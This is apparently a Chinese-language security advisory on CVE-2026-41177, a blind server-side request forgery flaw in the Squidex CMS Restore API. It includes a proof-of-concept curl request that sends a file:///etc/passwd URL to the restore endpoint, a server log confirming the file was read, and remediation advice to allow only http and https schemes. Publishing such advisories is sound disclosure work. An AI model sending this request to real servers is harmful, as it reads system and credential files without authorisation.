针对CVE-2026-41177的技术研究与分析:Squidex CMS Restore API中的一个盲服务器端请求伪造(SSRF)漏洞。
/api/apps/restore)Squidex Restore API存在盲服务器端请求伪造(SSRF)漏洞。该应用程序未能验证用户提供的Url参数的URI方案,从而允许使用file://协议。这使经过身份验证的管理员能够强制后端服务器与本地文件系统进行交互,导致本地文件交互(LFI),并可能通过内部日志的侧信道分析泄露敏感系统信息。
file:///etc/passwd)创建一个“恢复”作业。RestoreJob)。204 No Content运行以下curl命令(将<TOKEN>替换为有效的管理员令牌):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
Squidex容器日志中的以下错误确认了内部文件交互:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
注意:InvalidDataException确认服务器成功访问并读取了该文件的字节。
此漏洞允许经过身份验证的攻击者:
appsettings.json、密钥)的存在。http://和https://方案。file://方案的URI。